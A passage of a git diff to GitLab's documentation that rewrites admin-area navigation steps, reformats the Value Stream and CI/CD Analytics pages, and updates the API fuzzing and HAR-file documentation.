-[Projects::NotesController#create](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/projects/notes_controller.rb)
+[Projects::NotesController#create](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/projects/notes_controller.rb)
action exceeding a rate of 300 per minute are blocked. Access to the endpoint is allowed after one minute.
diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
index a9b23b3dc50..24b69ba74c7 100644
--- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
+++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
@@ -9,8 +9,11 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30829) in GitLab 12.2.
-This setting allows you to rate limit the requests to raw endpoints, defaults to `300` requests per minute.
-It can be modified in **Admin Area > Settings > Network > Performance Optimization**.
+This setting defaults to `300` requests per minute, and allows you to rate limit the requests to raw endpoints:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Network**.
+1. Expand **Performance optimization**.
For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` are blocked. Access to the raw file is released after 1 minute.
diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md
index 647f9332119..ecd259a345c 100644
--- a/doc/user/admin_area/settings/sign_in_restrictions.md
+++ b/doc/user/admin_area/settings/sign_in_restrictions.md
@@ -13,7 +13,8 @@ You can use **Sign-in restrictions** to customize authentication restrictions fo
To access sign-in restriction settings:
-1. Navigate to the **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Sign-in restrictions** section.
## Password authentication enabled
@@ -76,9 +77,9 @@ If necessary, you can disable **Admin Mode** as an administrator by using one of
- [**Rails console**](../../../administration/operations/rails_console.md#starting-a-rails-console-session):
```ruby
- ::Gitlab::CurrentSettings.update_attributes!(admin_mode: false)
+ ::Gitlab::CurrentSettings.update!(admin_mode: false)
```
-
+
## Two-factor authentication
When this feature is enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md).
@@ -114,13 +115,14 @@ For example, if you include the following information in the noted text box:
```markdown
# Custom sign-in text
-To access this text box, navigate to Admin Area > Settings > General, and expand the "Sign-in restrictions" section.
+To access this text box:
+
+1. On the top bar, select **Menu > Admin**.
+1. In the left sidebar, select **Settings > General**, and expand the **Sign-in restrictions** section.
```
Your users see the **Custom sign-in text** when they navigate to the sign-in screen for your
-GitLab instance:
-
-![Sign-in page](img/custom_sign_in_page_v13_6.png)
+GitLab instance.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md
index 0078db286a8..1098c7060f8 100644
--- a/doc/user/admin_area/settings/sign_up_restrictions.md
+++ b/doc/user/admin_area/settings/sign_up_restrictions.md
@@ -22,7 +22,8 @@ you do not expect public users to sign up for an account.
To disable sign ups:
-1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**.
1. Clear the **Sign-up enabled** checkbox, then select **Save changes**.
## Require administrator approval for new sign ups
@@ -34,7 +35,8 @@ When this setting is enabled, any user visiting your GitLab domain and signing u
To require administrator approval for new sign ups:
-1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**.
1. Select the **Require admin approval for new sign-ups** checkbox, then select **Save changes**.
In [GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/273258), if an administrator disables this setting, the users in pending approval state are
@@ -47,7 +49,8 @@ their email address before they are allowed to sign in.
To enforce confirmation of the email address used for new sign ups:
-1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**.
1. Select the **Enable email restrictions for sign ups** checkbox, then select **Save changes**.
## User cap **(FREE SELF)**
@@ -64,7 +67,8 @@ user cap, the users in pending approval state are automatically approved in a ba
### Set the user cap number
-1. Go to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand **Sign-up restrictions**.
1. Enter a number in **User cap**.
1. Select **Save changes**.
@@ -73,7 +77,8 @@ New user sign ups are subject to the user cap restriction.
## Remove the user cap
-1. Go to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand **Sign-up restrictions**.
1. Remove the number from **User cap**.
1. Select **Save changes**.
@@ -130,7 +135,8 @@ reduce the risk of malicious users creating spam accounts with disposable email
To create an email domain allowlist or denylist:
-1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**.
1. For the allowlist, you must enter the list manually. For the denylist, you can enter the list
manually or upload a `.txt` file that contains list entries.
diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md
index 3e0636ef7ac..46e85ffc9c0 100644
--- a/doc/user/admin_area/settings/terms.md
+++ b/doc/user/admin_area/settings/terms.md
@@ -7,7 +7,7 @@ type: reference
# Enforce accepting Terms of Service **(FREE SELF)**
-An admin can enforce acceptance of a terms of service and privacy policy. When this option is enabled, new and existing users must accept the terms.
+An administrator can enforce acceptance of a terms of service and privacy policy. When this option is enabled, new and existing users must accept the terms.
If configured, the Terms of Service page can be viewed via `https://your-instance.com/-/users/terms` at anytime.
@@ -16,7 +16,8 @@ If configured, the Terms of Service page can be viewed via `https://your-instanc
To enforce acceptance of a Terms of Service and Privacy Policy:
1. Log in to the GitLab instance as an admin user.
-1. Go to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Terms of Service and Privacy Policy** section.
1. Check the **Require all users to accept Terms of Service and Privacy Policy when they access
GitLab.** checkbox.
diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md
index 59845a8d0d8..e7fa8b1dc40 100644
--- a/doc/user/admin_area/settings/third_party_offers.md
+++ b/doc/user/admin_area/settings/third_party_offers.md
@@ -13,7 +13,11 @@ Within GitLab, we inform users of available third-party offers they might find v
to enhance the development of their projects. An example is the Google Cloud Platform free credit
for using [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/).
-The display of third-party offers can be toggled in the **Admin Area > Settings** page.
+To toggle the display of third-party offers:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings**, and expand **Third party offers**.
+1. Select **Do not display offers from third parties within GitLab**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md
index ada44115cec..b5a7ce318ff 100644
--- a/doc/user/admin_area/settings/usage_statistics.md
+++ b/doc/user/admin_area/settings/usage_statistics.md
@@ -10,8 +10,12 @@ type: reference
GitLab Inc. periodically collects information about your instance in order
to perform various actions.
-All statistics are opt-out. You can enable/disable them in the
-**Admin Area > Settings > Metrics and profiling** section **Usage statistics**.
+All statistics are opt-out. To enable or disable them:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Metrics and profiling**, and expand **Usage statistics**.
+1. Enable or disable **Version check** and **Usage ping**.
+1. Select **Save changes**.
## Network configuration
@@ -40,8 +44,12 @@ This information is used, among other things, to identify to which versions
patches must be backported, making sure active GitLab instances remain
secure.
-If you disable version check, this information isn't collected. Enable or
-disable the version check in **Admin Area > Settings > Metrics and profiling > Usage statistics**.
+If you disable version check, this information isn't collected. To enable or disable it:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Metrics and profiling**, and expand **Usage statistics**.
+1. Enable or disable **Version check**.
+1. Select **Save changes**.
### Request flow example
diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md
index 9e64dd59a74..fdeda0cf451 100644
--- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md
+++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md
@@ -11,20 +11,21 @@ Rate limiting is a common technique used to improve the security and durability
of a web application. For more details, see
[Rate limits](../../../security/rate_limits.md).
-The following limits can be enforced in **Admin Area > Settings > Network > User and
-IP rate limits**:
+The following limits are disabled by default:
- Unauthenticated requests
- Authenticated API requests
- Authenticated web requests
-These limits are disabled by default.
+To enforce any or all of them:
-NOTE:
-By default, all Git operations are first tried unauthenticated. Because of this, HTTP Git operations
-may trigger the rate limits configured for unauthenticated requests.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Network**, and expand **User and IP rate limits**:
+ ![user-and-ip-rate-limits](img/user_and_ip_rate_limits.png)
-![user-and-ip-rate-limits](img/user_and_ip_rate_limits.png)
+ NOTE:
+ By default, all Git operations are first tried unauthenticated. Because of this, HTTP Git operations
+ may trigger the rate limits configured for unauthenticated requests.
## Response text
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index e335a9031d5..752856371bf 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -11,14 +11,18 @@ GitLab allows administrators to enforce specific controls.
To access the visibility and access control options:
-1. Sign in to GitLab as a user with Administrator [permissions](../../permissions.md).
-1. Go to **Admin Area > Settings > General**.
+1. Sign in to GitLab as a user with [Administrator role](../../permissions.md).
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Visibility and access controls** section.
## Default branch protection
-This global option defines the branch protection that applies to every repository's default branch. [Branch protection](../../project/protected_branches.md) specifies which roles can push to branches and which roles can delete
-branches. In this case _Default_ refers to a repository's default branch, which in most cases is `master`.
+This global option defines the branch protection that applies to every repository's
+[default branch](../../project/repository/branches/default.md).
+[Branch protection](../../project/protected_branches.md) specifies which roles can push
+to branches and which roles can delete branches. In this case _Default_ refers to a
+repository's [default branch](../../project/repository/branches/default.md).
This setting applies only to each repositories' default branch. To protect other branches, you must configure branch protection in repository. For details, see [protected branches](../../project/protected_branches.md).
diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md
index b01a299178d..e96ce969b3a 100644
--- a/doc/user/admin_area/user_cohorts.md
+++ b/doc/user/admin_area/user_cohorts.md
@@ -8,7 +8,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
You can analyze your users' GitLab activities over time.
-To see user cohorts, go to **Admin Area > Overview > Users**.
+To view user cohorts:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Users**.
+1. Select the **Cohorts** tab.
## Overview
diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md
index 284e87e9b35..1fce741cbef 100644
--- a/doc/user/analytics/ci_cd_analytics.md
+++ b/doc/user/analytics/ci_cd_analytics.md
@@ -4,12 +4,11 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# CI/CD Analytics
+# CI/CD Analytics **(FREE)**
-## Pipeline success and duration charts **(FREE)**
+## Pipeline success and duration charts
-> - Introduced in GitLab 3.1.1 as Commit Stats, and later renamed to Pipeline Charts.
-> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8.
+> [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8.
GitLab tracks the history of your pipeline successes and failures, as well as how long each pipeline
ran. To view this information, go to **Analytics > CI/CD Analytics**.
@@ -48,14 +47,14 @@ performance indicators for software development teams:
The following table shows the supported metrics, at which level they are supported, and which GitLab version (API and UI) they were introduced:
-| Metric | Level | API version | Chart (UI) version | Comments |
-| --------------- | ----------- | --------------- | ---------- | ------- |
-| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endpoint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. |
-| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | |
-| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | [13.11+](#lead-time-charts) | Unit in seconds. Aggregation method is median. |
-| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. |
-| `change_failure_rate` | Project/Group-level | To be supported | To be supported | |
-| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | |
+| Metric | Level | API version | Chart (UI) version | Comments |
+|---------------------------|---------------------|--------------------------------------|---------------------------------------|-----------|
+| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endpoint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. |
+| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | |
+| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | [13.11+](#lead-time-charts) | Unit in seconds. Aggregation method is median. |
+| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. |
+| `change_failure_rate` | Project/Group-level | To be supported | To be supported | |
+| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | |
### Deployment frequency charts **(ULTIMATE)**
@@ -85,4 +84,4 @@ processes.
For time periods in which no merge requests were deployed, the charts render a
red, dashed line.
-These charts are only available for projects.
+These charts are available for both groups and projects.
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index d50a183aa54..8c67163c4b0 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -4,7 +4,7 @@ group: Optimize
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Analytics **(FREE)**
+# Analyze GitLab usage **(FREE)**
## Definitions
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index 2af98492ee7..c3b3fcba52e 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Value Stream Analytics **(FREE)**
> - Introduced as Cycle Analytics prior to GitLab 12.3 at the project level.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 at the group level.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in GitLab Premium 12.3 at the group level.
> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23427) from Cycle Analytics to Value Stream Analytics in GitLab 12.8.
Value Stream Analytics measures the time spent to go from an
@@ -15,20 +15,20 @@ Value Stream Analytics measures the time spent to go from an
(also known as cycle time) for each of your projects or groups. Value Stream Analytics displays the median time
spent in each stage defined in the process.
-Value Stream Analytics is useful in order to quickly determine the velocity of a given
+You can use Value Stream Analytics to determine the velocity of a given
project. It points to bottlenecks in the development process, enabling management
to uncover, triage, and identify the root cause of slowdowns in the software development life cycle.
-For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md).
+For information about how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md).
-Project-level Value Stream Analytics is available via **Project > Analytics > Value Stream**.
+Project-level Value Stream Analytics is available by using **Project > Analytics > Value Stream**.
NOTE:
[Group-level Value Stream Analytics](../group/value_stream_analytics) is also available.
## Default stages
-The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../topics/gitlab_flow.md). These stages can be customized in Group Level Value Stream Analytics.
+The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../topics/gitlab_flow.md). You can customize these stages in group-level Value Stream Analytics.
- **Issue** (Tracker)
- Time to schedule an issue (by milestone or by adding it to an issue board)
@@ -38,55 +38,49 @@ The stages tracked by Value Stream Analytics by default represent the [GitLab fl
- Time to create a merge request
- **Test** (CI)
- Time it takes GitLab CI/CD to test your code
-- **Review** (Merge Request/MR)
+- **Review** (Merge request)
- Time spent on code review
- **Staging** (Continuous Deployment)
- Time between merging and deploying to production
### Date ranges
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36300) in GitLab 10.0.
-
-GitLab provides the ability to filter analytics based on a date range. To filter results, select one of these options:
-
-1. Last 7 days
-1. Last 30 days (default)
-1. Last 90 days
+To filter analytics results based on a date range,
+select different **From** and **To** days
+from the date picker (default: last 30 days).
## How Time metrics are measured
-The "Time" metrics near the top of the page are measured as follows:
+The **Time** metrics near the top of the page are measured as follows:
-- **Lead time**: median time from issue created to issue closed.
-- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).)
+- **Lead time**: Median time from issue created to issue closed.
+- **Cycle time**: Median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).)
## How the stages are measured
-Value Stream Analytics uses start events and stop events to measure the time that an Issue or MR spends in each stage.
-For example, a stage might start when one label is added to an issue, and end when another label is added.
-Items are not included in the stage time calculation if they have not reached the stop event.
-
-Each stage of Value Stream Analytics is further described in the table below.
+Value Stream Analytics uses start events and stop events to measure the time that an issue or merge request spends in each stage.
+For example, a stage might start when one label is added to an issue and end when another label is added.
+Items aren't included in the stage time calculation if they have not reached the stop event.
-| **Stage** | **Description** |
-| --------- | --------------- |
-| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. |
-| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. |
-| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. |
-| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. |
-| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. |
-| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. |
+| Stage | Description |
+|---------|---------------|
+| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. |
+| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. |
+| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. |
+| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. |
+| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. |
+| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. |
-How this works, behind the scenes:
+How this works:
1. Issues and merge requests are grouped in pairs, where the merge request has the
[closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
- for the corresponding issue. Issue/merge request pairs without closing patterns are
- **not** included.
-1. Issue/merge request pairs are filtered by the last XX days, specified through the UI
- (default = 90 days). Pairs outside the filtered range are not included.
+ for the corresponding issue. Issue and merge request pairs without closing patterns are
+ not included.
+1. Issue and merge request pairs are filtered by the last XX days, specified through the UI
+ (default is `90` days). Pairs outside the filtered range are not included.
1. For the remaining pairs, review information needed for stages, including
- issue creation date, merge request merge time, and so on.
+ issue creation date and merge request merge time.
In short, the Value Stream Analytics dashboard tracks data related to [GitLab flow](../../topics/gitlab_flow.md). It does not include data for:
@@ -97,67 +91,69 @@ In short, the Value Stream Analytics dashboard tracks data related to [GitLab fl
## How the production environment is identified
-Value Stream Analytics identifies production environments based on
-[the deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments).
+Value Stream Analytics identifies production environments based on the
+[deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments).
## Example workflow
-Below is a simple fictional workflow of a single cycle that happens in a
-single day passing through all seven stages. Note that if a stage does not have
-a start and a stop mark, it is not measured and hence not calculated in the median
-time. It is assumed that milestones are created and CI for testing and setting
+Here's a fictional workflow of a single cycle that happens in a
+single day, passing through all seven stages. If a stage doesn't have
+a start and a stop mark, it isn't measured and hence isn't calculated in the median
+time. It's assumed that milestones are created, and CI for testing and setting
environments is configured.
1. Issue is created at 09:00 (start of **Issue** stage).
-1. Issue is added to a milestone at 11:00 (stop of **Issue** stage / start of
+1. Issue is added to a milestone at 11:00 (stop of **Issue** stage and start of
**Plan** stage).
-1. Start working on the issue, create a branch locally and make one commit at
+1. Start working on the issue, create a branch locally, and make one commit at
12:00.
-1. Make a second commit to the branch which mentions the issue number at 12.30
- (stop of **Plan** stage / start of **Code** stage).
-1. Push branch and create a merge request that contains the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
- in its description at 14:00 (stop of **Code** stage / start of **Test** and
+1. Make a second commit to the branch that mentions the issue number at 12:30
+ (stop of **Plan** stage and start of **Code** stage).
+1. Push branch, and create a merge request that contains the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
+ in its description at 14:00 (stop of **Code** stage and start of **Test** and
**Review** stages).
1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../ci/yaml/README.md) and
- takes 5min (stop of **Test** stage).
-1. Review merge request, ensure that everything is OK and merge the merge
- request at 19:00. (stop of **Review** stage / start of **Staging** stage).
-1. Now that the merge request is merged, a deployment to the `production`
+ takes 5 minutes (stop of **Test** stage).
+1. Review merge request, ensure that everything is okay, and then merge the merge
+ request at 19:00 (stop of **Review** stage and start of **Staging** stage).
+1. The merge request is merged, and a deployment to the `production`
environment starts and finishes at 19:30 (stop of **Staging** stage).
-From the above example we see the time used for each stage:
+From the previous example we see the time used for each stage:
-- **Issue**: 2h (11:00 - 09:00)
-- **Plan**: 1h (12:00 - 11:00)
-- **Code**: 2h (14:00 - 12:00)
-- **Test**: 5min
-- **Review**: 5h (19:00 - 14:00)
-- **Staging**: 30min (19:30 - 19:00)
+- **Issue**: 2 hrs (09:00 to 11:00)
+- **Plan**: 1 hr (11:00 to 12:00)
+- **Code**: 2 hrs (12:00 to 14:00)
+- **Test**: 5 mins
+- **Review**: 5 hrs (14:00 to 19:00)
+- **Staging**: 30 mins (19:00 to 19:30)
More information:
-- The above example specifies the issue number in a latter commit. The process
- still collects analytics data for that issue.
-- The time required in the **Test** stage is not included in the overall time of
- the cycle. It is included in the **Review** process, as every MR should be
+- Although the previous example specifies the issue number in a later commit, the process
+ still collects analytics data for the issue.
+- The time required in the **Test** stage isn't included in the overall time of
+ the cycle. The time is included in the **Review** process, as every merge request should be
tested.
-- The example above illustrates only **one cycle** of the multiple stages. Value
+- The previous example illustrates only one cycle of the multiple stages. Value
Stream Analytics, on its dashboard, shows the calculated median elapsed time
for these issues.
## Permissions
-The current permissions on the Project-level Value Stream Analytics dashboard are:
+The permissions for the project-level Value Stream Analytics dashboard include:
-- Public projects - anyone can access.
-- Internal projects - any authenticated user can access.
-- Private projects - any member Guest and above can access.
+| Project type | Permissions |
+|--------------|---------------------------------------|
+| Public | Anyone can access |
+| Internal | Any authenticated user can access |
+| Private | Any member Guest and above can access |
You can [read more about permissions](../../user/permissions.md) in general.
## More resources
-Learn more about Value Stream Analytics in the following resources:
+Learn more about Value Stream Analytics with the following resources:
- [Value Stream Analytics feature page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/).
- [Value Stream Analytics feature preview](https://about.gitlab.com/blog/2016/09/16/feature-preview-introducing-cycle-analytics/).
diff --git a/doc/user/application_security/api_fuzzing/create_har_files.md b/doc/user/application_security/api_fuzzing/create_har_files.md
index 220d00adc7b..1162984a02d 100644
--- a/doc/user/application_security/api_fuzzing/create_har_files.md
+++ b/doc/user/application_security/api_fuzzing/create_har_files.md
@@ -1,11 +1,11 @@
---
stage: Secure
-group: Fuzz Testing
+group: Dynamic Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
type: howto
---
-# HTTP Archive format
+# HTTP Archive format **(ULTIMATE)**
HTTP Archive (HAR) format files are an industry standard for exchanging information about HTTP
requests and HTTP responses. A HAR file's content is JSON formatted, containing browser interactions
@@ -15,7 +15,7 @@ The HAR files can be used to perform [web API Fuzz Testing](index.md#http-archiv
your [GitLab CI/CD](../../../ci/README.md) pipelines.
WARNING:
-**DANGER** A HAR file stores information exchanged between web client and web server. It could also
+A HAR file stores information exchanged between web client and web server. It could also
store sensitive information such as authentication tokens, API keys, and session cookies. We
recommend that you review the HAR file contents before adding them to a repository.
@@ -36,7 +36,7 @@ automatically record your network activity and generate the HAR file:
1. [Firefox web browser](#firefox-web-browser).
WARNING:
-**DANGER** HAR files may contain sensitive information such as authentication tokens, API keys, and
+HAR files may contain sensitive information such as authentication tokens, API keys, and
session cookies. We recommend that you review the HAR file contents before adding them to a
repository.
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 8511c919c14..2b2ac76a7af 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -1,6 +1,6 @@
---
stage: Secure
-group: Fuzz Testing
+group: Dynamic Analysis
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -48,6 +48,7 @@ Example projects using these methods are available:
- [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har)
- [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/postman-api-fuzzing-example)
- [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/graphql-api-fuzzing-example)
+- [Example SOAP project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/soap-api-fuzzing-example)
## Enable Web API fuzzing
@@ -116,8 +117,8 @@ To generate an API Fuzzing configuration snippet:
> Support for OpenAPI Specification v3.0 was
> [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228652) in GitLab 13.9.
-The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs.
-This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test.
+The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs.
+This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test.
OpenAPI Specifications are provided as a file system resource or URL. Both JSON and YAML OpenAPI formats are supported.
API fuzzing uses an OpenAPI document to generate the request body. When a request body is required,
@@ -134,7 +135,7 @@ To configure API fuzzing in GitLab with an OpenAPI Specification:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
1. [Include](../../../ci/yaml/README.md#includetemplate)
- the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
+ the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file.
@@ -155,7 +156,7 @@ To configure API fuzzing in GitLab with an OpenAPI Specification:
dynamic environments. To run API fuzzing against an application dynamically created during a
GitLab CI/CD pipeline, have the application persist its URL in an `environment_url.txt` file.
API fuzzing automatically parses that file to find its scan target. You can see an
- example of this in the [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
